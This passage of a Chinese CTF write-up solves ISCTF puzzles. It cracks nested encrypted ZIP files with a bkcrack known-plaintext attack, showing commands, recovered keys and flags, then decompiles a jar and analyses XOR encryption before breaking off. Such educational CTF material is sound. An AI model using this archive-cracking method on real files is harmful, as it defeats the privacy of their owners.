print(f\"\u6700\u7ec8\u6587\u4ef6: {current_file}\")\n\n    # \u6e05\u7406\u4e2d\u95f4\u6587\u4ef6\n    if input(\"\u5220\u9664\u4e2d\u95f4ZIP\u6587\u4ef6? (y\/n): \").lower() == 'y':\n        for f in extracted&#91;:-1]:\n            if os.path.exists(f):\n                os.remove(f)\n                print(f\"\u5df2\u5220\u9664: {f}\")\n        print(\"\u6e05\u7406\u5b8c\u6210\")\n\nif __name__ == \"__main__\":\n    start_zip = \"flagggg999.zip\"\n\n    if not os.path.exists(start_zip):\n        print(f\"\u6587\u4ef6\u4e0d\u5b58\u5728: {start_zip}\")\n        exit(1)\n\n    unzip_nested_files(start_zip)<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-78.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"779\" height=\"340\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-78.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1643\"  sizes=\"auto, (max-width: 779px) 100vw, 779px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-79.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"943\" height=\"654\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-79.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1644\"  sizes=\"auto, (max-width: 943px) 100vw, 943px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u7ed3\u5408\u9898\u76ee\u63cf\u8ff0\u548c\u53c2\u8003\u7f51\u7ad9\uff0c\u5df2\u77e5\u660e\u6587\u653b\u51fb<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-80.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"825\" height=\"729\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-80.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1645\"  sizes=\"auto, (max-width: 825px) 100vw, 825px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u4eec\u77e5\u9053\u73b0\u5728\u6587\u4ef6\u540d\u5b57\u662fflagggg3.zip\u90a3\u4e48\u540e\u9762\u5c31\u884c\u9012\u51cfflagggg2.zip\u3001flagggg1.zip<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6587\u4ef6\u59344\u5b57\u8282\uff0c\u6587\u4ef6\u540d8\u5b57\u8282 \u6587\u4ef6\u5934\u662f\uff0c\u90fd\u662fZip\u6587\u4ef6\u7c7b\u578b\u6587\u4ef6\u5934\u90fd\u662f50 4b 03 04<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u548c\u9898\u76ee\u63cf\u8ff0 &#8220;8+4&#8243;\uff0c\u662f\u4e00\u81f4\u7684\uff0c\u8fd8\u6709\u53c2\u8003\u7f51\u7ad9\uff0c\u6240\u4ee5\u53ef\u4ee5\u8fdb\u884c\u660e\u6587\u653b\u51fb<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-81-1024x267.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"267\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-81-1024x267.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1646\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">flagggg2.zip\u6587\u4ef6\u7684\u5341\u516d\u8fdb\u5236\u662f<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>666c616767676731 <\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e3a\u4ec0\u4e48\u662f31\u56e0\u4e3a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u4eec\u8981\u7834\u89e3\u7684\u662f<code>flagggg3.zip<\/code>\u91cc\u7684<code>flagggg2.zip<\/code>\u6587\u4ef6\uff0c\u800c<code>flagggg2.zip<\/code>\u5185\u90e8\u7684\u4e0b\u4e00\u5c42\u6587\u4ef6\u540d\u5e94\u8be5\u662f<code>flagggg1.zip<\/code>\uff08\u6309\u7167 \u201c999\u2192998\u2192\u2026\u21923\u21922\u21921\u201d \u7684\u89c4\u5f8b\uff09\uff0c\u6240\u4ee5\u5bf9\u5e94\u7684\u5341\u516d\u8fdb\u5236\u662f<code>666c616767676731<\/code>\uff08<code>31<\/code>\u662f\u5b57\u7b26<code>1<\/code>\u7684\u5341\u516d\u8fdb\u5236\uff09\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b80\u5355\u8bf4\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5f53\u524d\u5c42\u6587\u4ef6\u540d\uff1a<code>flagggg2.zip<\/code> \u2192 \u5341\u516d\u8fdb\u5236<code>666c6167676767322e7a6970<\/code>\uff08\u4f60\u5728 010 \u91cc\u770b\u5230\u7684\uff09\uff1b<\/li>\n\n\n\n<li>\u4e0b\u4e00\u5c42\u6587\u4ef6\u540d\uff08\u6211\u4eec\u8981\u653b\u51fb\u7684\u660e\u6587\uff09\uff1a<code>flagggg1.zip<\/code> \u2192 \u5341\u516d\u8fdb\u5236<code>666c6167676767312e7a6970<\/code>\uff08\u653b\u51fb\u547d\u4ee4\u91cc\u7528\u7684\uff09\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u662f\u5df2\u77e5\u660e\u6587\u653b\u51fb\u7684\u5173\u952e\uff1a\u9700\u8981\u63d0\u524d\u9884\u5224 \u201c\u4e0b\u4e00\u5c42\u6587\u4ef6\u7684\u56fa\u5b9a\u547d\u540d\u89c4\u5f8b\u201d\uff0c\u7528\u5b83\u4f5c\u4e3a\u5df2\u77e5\u660e\u6587\u6765\u5339\u914d\u5bc6\u6587\uff5e<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u6587\u4ef6\u5934\u504f\u79fb\u6052\u5b9a\u4e3a 0<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u56e0\u4e3a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">ZIP \u538b\u7f29\u5305\u7684<strong>\u7b2c\u4e00\u4e2a\u6570\u636e\u5757\u5c31\u662f \u201c\u672c\u5730\u6587\u4ef6\u5934\u201d<\/strong>\uff0c\u800c\u672c\u5730\u6587\u4ef6\u5934\u7684<strong>\u5f00\u5934 4 \u5b57\u8282\u662f\u56fa\u5b9a\u6807\u8bc6\uff08<code>504B0304<\/code>\uff09<\/strong>\uff0c\u7528\u4e8e\u544a\u8bc9\u89e3\u538b\u5de5\u5177 \u201c\u8fd9\u662f\u4e00\u4e2a ZIP \u6587\u4ef6\u201d\u3002\u56e0\u6b64\uff0c\u8fd9\u4e2a\u6807\u8bc6\u7684\u8d77\u59cb\u4f4d\u7f6e\u5fc5\u7136\u662f\u6587\u4ef6\u7684<strong>\u7b2c 1 \u4e2a\u5b57\u8282\uff08\u504f\u79fb\u91cf 0\uff09<\/strong>\uff0c\u8fd9\u662f ZIP \u683c\u5f0f\u7684 \u201c\u5f00\u5934\u7ea6\u5b9a\u201d\uff0c\u6240\u6709 ZIP \u5305\u90fd\u9075\u5faa\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u6587\u4ef6\u540d\u504f\u79fb\u6052\u5b9a\u4e3a 0x1E<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-82-1024x529.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"529\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-82-1024x529.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1647\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u9ad8\u4eae\u7684 <code>66<\/code> \u5bf9\u5e94\u7684\u504f\u79fb\u91cf\u4f1a\u663e\u793a\u4e3a <code>0000001E<\/code>\uff08\u201c0x\u201d \u662f\u5341\u516d\u8fdb\u5236\u7684\u6807\u8bc6\uff0c\u76f4\u63a5\u663e\u793a <code>0000001E<\/code>\uff0c\u5373 <code>0x1E<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>0x1E = \u5341\u8fdb\u5236 30<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5185\u90e8\u6587\u4ef6\u540d\u7684\u8d77\u59cb\u504f\u79fb\u91cf\u90fd\u662f<strong>\u5341\u8fdb\u5236 30\uff08\u5341\u516d\u8fdb\u5236 0x1E\uff09<\/strong>\uff0c\u6240\u4ee5\u653b\u51fb\u65f6<code>-x 30<\/code>\u662f\u901a\u7528\u53c2\u6570\u3002<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u5b57\u6bb5\u540d\u79f0<\/th><th>\u957f\u5ea6\uff08\u5b57\u8282\uff09<\/th><\/tr><\/thead><tbody><tr><td>\u672c\u5730\u6587\u4ef6\u5934\u6807\u8bc6<\/td><td>4<\/td><\/tr><tr><td>\u7248\u672c\u4fe1\u606f<\/td><td>2<\/td><\/tr><tr><td>\u901a\u7528\u4f4d\u6807\u8bb0<\/td><td>2<\/td><\/tr><tr><td>\u538b\u7f29\u65b9\u6cd5<\/td><td>2<\/td><\/tr><tr><td>\u4fee\u6539\u65f6\u95f4<\/td><td>2<\/td><\/tr><tr><td>\u4fee\u6539\u65e5\u671f<\/td><td>2<\/td><\/tr><tr><td>CRC-32 \u6821\u9a8c\u503c<\/td><td>4<\/td><\/tr><tr><td>\u538b\u7f29\u540e\u5927\u5c0f<\/td><td>4<\/td><\/tr><tr><td>\u672a\u538b\u7f29\u5927\u5c0f<\/td><td>4<\/td><\/tr><tr><td>\u6587\u4ef6\u540d\u957f\u5ea6<\/td><td>2<\/td><\/tr><tr><td>\u989d\u5916\u5b57\u6bb5\u957f\u5ea6<\/td><td>2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u628a\u8fd9\u4e9b\u5b57\u6bb5\u957f\u5ea6\u76f8\u52a0\uff1a<code>4+2+2+2+2+2+4+4+4+2+2 = 30\u5b57\u8282<\/code>\uff08\u5341\u8fdb\u5236\uff09\uff0c\u5bf9\u5e94\u5341\u516d\u8fdb\u5236\u5c31\u662f<code>0x1E<\/code>\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>bkcrack\u5e38\u7528\u53c2\u6570\uff1a<\/strong><\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">-c \u63d0\u53d6\u7684\u5bc6\u6587\u90e8\u5206<br>-p \u63d0\u53d6\u7684\u660e\u6587\u90e8\u5206<br>-x \u538b\u7f29\u5305\u5185\u76ee\u6807\u6587\u4ef6\u7684\u504f\u79fb\u5730\u5740 \u90e8\u5206\u5df2\u77e5\u660e\u6587\u503c<br>-C \u52a0\u5bc6\u538b\u7f29\u5305<br>-o offset -p\u53c2\u6570\u6307\u5b9a\u7684\u660e\u6587\u5728\u538b\u7f29\u5305\u5185\u76ee\u6807\u6587\u4ef6\u7684\u504f\u79fb\u91cf<\/p>\n<\/blockquote>\n\n\n\n<p class=\"wp-block-paragraph\">\u6240\u4ee5\u7528bkcrack\u5df2\u77e5\u660e\u6587\u653b\u51fb<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>bkcrack.exe -C flagggg3.zip -c flagggg2.zip -x 0 504B0304 -x 30 666c616767676731<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-83-1024x290.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"290\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-83-1024x290.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1648\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>D:ToolMisc\u538b\u7f29\u5305\u9690\u5199bkcrack-1.8.1-win64&gt;bkcrack.exe -C flagggg3.zip -c flagggg2.zip -x 0 504B0304 -x 30 666c616767676731\nbkcrack 1.8.1 - 2025-10-25\n&#91;22:23:46] Attack on 4194304 Z values at index 37\nKeys: ae0c4b27 66c21cba b9a7958f\n38.7 % (1623954 \/ 4194304)\nFound a solution. Stopping.\nYou may resume the attack with the option: --continue-attack 1623954\n&#91;22:36:04] Keys\nae0c4b27 66c21cba b9a7958f\n\nD:ToolMisc\u538b\u7f29\u5305\u9690\u5199bkcrack-1.8.1-win64&gt;\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f97\u5230\u5bc6\u94a5<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ae0c4b27 66c21cba b9a7958f<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u7528\u5bc6\u94a5 bkcrack \u89e3\u5bc6 <code>flagggg3.zip<\/code> \u4e2d\u7684 <code>flagggg2.zip<\/code>\uff1a\u89e3\u538bflagggg3.zip<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>bkcrack.exe -C flagggg3.zip -c flagggg2.zip -k ae0c4b27 66c21cba b9a7958f -d flagggg2.zip<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-84-1024x212.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"212\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-84-1024x212.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1649\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>D:ToolMisc\u538b\u7f29\u5305\u9690\u5199bkcrack-1.8.1-win64&gt;bkcrack.exe -C flagggg3.zip -c flagggg2.zip -k ae0c4b27 66c21cba b9a7958f -d flagggg2.zip\nbkcrack 1.8.1 - 2025-10-25\n&#91;22:42:57] Writing deciphered data flagggg2.zip\nWrote deciphered data (not compressed).\n\nD:ToolMisc\u538b\u7f29\u5305\u9690\u5199bkcrack-1.8.1-win64&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u53ef\u4ee5\u76f4\u63a5\u6253\u5f00\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-85.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"994\" height=\"746\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-85.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1650\"  sizes=\"auto, (max-width: 994px) 100vw, 994px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF{3f165c87-c0d4-4903-9c47-3a8d3b9c83df}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u51b2\u523a\uff01\u5077\u6478\u96f6\uff01<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-86.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"704\" height=\"790\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-86.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1651\"  sizes=\"auto, (max-width: 704px) 100vw, 704px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5c06jar\u5305\u8fdb\u884c\u89e3\u538b\uff0c\u6253\u5f00ctf.db<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-87-1024x491.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"491\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-87-1024x491.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1652\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-88.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"838\" height=\"915\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-88.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1653\"  sizes=\"auto, (max-width: 838px) 100vw, 838px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u53ef\u4ee5\u53d1\u73b0\u6570\u636e\u5e93\u662fSQLite<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u53ef\u4ee5\u53d1\u73b0PART1:ISCTF{Tom0R1_Dash<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b2c\u4e00\u6bb5flag<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b2c\u4e8c\u6bb5flag<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">jd-gui\u8fdb\u884cjava\u53cd\u7f16\u8bd1<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-89-1024x361.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"361\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-89-1024x361.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1654\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u627e\u5f00\u59cb\u51fd\u6570<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u627e\u5230\u52a0\u5bc6\u51fd\u6570<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-90-1024x581.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"581\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-90-1024x581.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1655\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e00\u4e2aXOR \u5f02\u6216\u52a0\u5bc6\u7684\u7b80\u5355\u52a0\u5bc6\u65b9\u5f0f<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u52a0\u5bc6\u903b\u8f91\u5206\u6790<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u52a0\u5bc6\u6570\u636e<\/strong>: <code>byte[] encrypted = { 5, 20, 7, 1, 103, 111, 10, 18, 32, 18, 32, 10, 18, 20, 18, 20, 116, 116, 40 }<\/code><\/li>\n\n\n\n<li><strong>\u52a0\u5bc6\u5bc6\u94a5<\/strong>: <code>byte key = 85<\/code> (\u5bf9\u5e94 ASCII \u7801 